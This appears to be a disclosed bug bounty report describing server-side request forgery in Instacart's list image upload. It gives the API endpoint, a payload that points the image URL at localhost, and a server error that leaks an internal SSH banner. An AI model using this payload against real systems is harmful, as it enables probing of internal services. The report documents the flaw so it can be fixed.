Instacart · Report #158016
Server side request forgery on image upload for lists
Validstatus
$50bounty
21upvotes
12 Oct 2016disclosed
How it was found
Summary
There is a Server-side request forgery when updating the image for a list.
Steps to reproduce
-
Create a list and change its image. That will send a POST request to https://beta.instacart.com/api/v2/lists/[LIST_ID] with the following parameters:
list[remote_image_url]=https://example.com/yourimage.jpg
2. Change the url to http://127.0.0.1:21 and you will get as response:
```{json}
{
"meta":
{
"code": 400,
"error_type": "List Error",
"error_message": "There was an error while updating this list",
"errors": ["Image could not download file: wrong status line: \"SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.3\""]
}
}
Which shows that it tried to connect to the SSH port on localhost.